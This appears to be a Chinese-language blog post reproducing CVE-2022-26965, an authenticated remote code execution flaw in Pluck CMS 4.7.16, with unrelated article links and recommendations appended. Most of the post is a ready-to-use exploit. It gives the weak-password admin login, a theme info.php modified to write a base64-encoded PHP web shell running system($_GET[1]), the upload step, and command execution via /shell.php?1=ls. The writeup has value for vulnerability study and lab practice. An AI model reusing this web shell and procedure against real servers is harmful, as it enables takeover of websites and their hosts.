Pluck-CMS-Pluck-4.7.16 远程代码执行漏洞(CVE-2022-26965)
漏洞简介
Pluck CMS 4.7.16 版本的远程代码执行(RCE)漏洞(CVE-2022-26965)。
该漏洞允许经过身份验证的用户通过 /admin.php?action=themeinstall 的主题上传功能执行任意代码。
漏洞细节
在 Pluck CMS 的管理界面中,管理员可以上传主题文件。
CMS在处理主题包时未隔离或限制文件写入操作,导致恶意代码被直接写入Web目录并执行。
漏洞利用
获取管理员权限:攻击者需要首先获取管理员账户的访问权限。
上传恶意主题:利用 /admin.php?action=themeinstall 页面上传包含恶意代码的主题文件。
执行代码:通过访问上传的恶意文件,攻击者可以在服务器上执行任意代码
漏洞复现
先利用弱口令admin登录
选择上传主题的功能点
找到上传点
然后利用cms主题构造木马,在github找到主题
https://github.com/billcreswell/redline-theme
下载压缩包 修改info.php文件
修改内容
<?php
file_put_contents('shell.php',base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg=='));
?>
file_put_contents() 函数:把一个字符串写入文件中。
base64_decode()对encoded_data进行解码,返回原始数据。
base64解码 PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg== 得到<?php system($_GET[1]);?>
然后上传压缩包
然后访问/shell.php?1=ls
进行命令执行
春秋云镜的靶场好像无法用蚁剑连接,直接传参命令执行就可以了
Pluck-CMS-Pluck-4.7.16 远程代码执行漏洞(CVE-2022-26965)的更多相关文章
- PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)
PHPMailer < 5.2.18 Remote Code Execution 本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经 ...
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- Office CVE-2017-8570远程代码执行漏洞复现
实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是 ...
- CVE-2017-6920 Drupal远程代码执行漏洞学习
1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...
- vBulletin 5.x 版本通杀远程代码执行漏洞复现
漏洞介绍 vBulletin中存在一个文件包含问题,可使恶意访问者包含来自 vBulletin 服务器的文件并且执行任意 PHP 代码.未经验证的恶意访问者可通过向index.php发出包含 rout ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- 代码审计之CVE-2017-6920 Drupal远程代码执行漏洞学习
1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...
- Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现
参考了大佬的链接:https://github.com/jas502n/St2-057 00x01前言 Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用 ...
- Microsoft Exchange远程代码执行漏洞(CVE-2020-16875)
Microsoft Exchange远程代码执行漏洞(CVE-2020-16875) 漏洞信息: 由于对cmdlet参数的验证不正确,Microsoft Exchange服务器中存在一个远程执行代码漏 ...
- Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)
影响版本 Drupal 6.x,7.x,8.x Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞 脚本检测
随机推荐
- Docker命令速查
Docker命令 显示所有正在运行的docker容器 docker ps 显示所有docker容器 docker ps -a 运行容器 docker run : 运行一个容器并连接到它 docker ...
- 【EF Core】DbContext是如何识别出实体集合的
在开始之前说明一下,你不要指望阅读完本文后会得到光,就算得到光你也未必能变成迪迦.本文老周仅介绍原理,可以给部分大伙伴们解惑. 咱们都知道,在派生 DbContext 类时,集体类的集合用 DbSet ...
- Blazor学习之旅(9)用MudBlazor重构Todo
大家好,我是Edison. 在之前的学习之旅(3)开发一个Todo应用中,我们开发了一个简单版的Todo,这次我们基于MudBlazor来重构这个Todo应用. Todo V1回顾 在Blazor入门 ...
- 渗透测试工作站搭建:Kali + Wave + Zsh + Tmux + 工具集整合实践
前言 在开始任何渗透测试工作之前,搭建一个可靠高效的工作环境至关重要.这包括组织工具.配置系统,以及确保所有必要资源随时可用.通过尽早建立结构良好的测试基础架构,我们可以减少停机时间.最大程度地减少错 ...
- Luogu P6815 [PA2009] Cakes 题解
P6815 [PA2009] Cakes 三元环计数题. 无向图三元环计数分为三步: \(1\) :给所有无向边重定向.记录每个点的度数,度数大的点指向度数小的点.如果度数相同,编号小的点指向编号大的 ...
- rtl8723bs/ds 蓝牙和wifi共存造成蓝牙的卡顿解决方案.
首先.先确认 POWER_SAVING 这个宏是否打开,如果打开了请关掉,因为这个功能是路由器把对应的设备的流量包存储在路由器上,然后到一定的包的数量的时候,分发给嵌入式设备.如果这样可能造成天线通过 ...
- ABC392
终于进前一千了. A - Shuffled Equation 人话:给定三个数 \(a,b,c\),判断是否存在两个数乘积为第三个数. 数很小,if 判断一下,long long 也不用开. 点击查看 ...
- POLIR-Society-Organization-Networking结网{Ice-break/Connection/Relationship/Networking/Organizing
POLIR-Society-Organization Networking结网{Ice-break/Connection/Relationship/Networking/Organizing How ...
- Windows修改自动更新的时间
文字流程 Win+R输入 regedit 输入路径 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings 在空白处右键 ...
- Archlinux 玩原神
首先你需要一台装载了archlinux的电脑,配置的话本人: Lenovo TianYi510S-07IMB Intel Core i5-10400 × 12 内存 8.0 GiB 磁盘 1 TB 玩 ...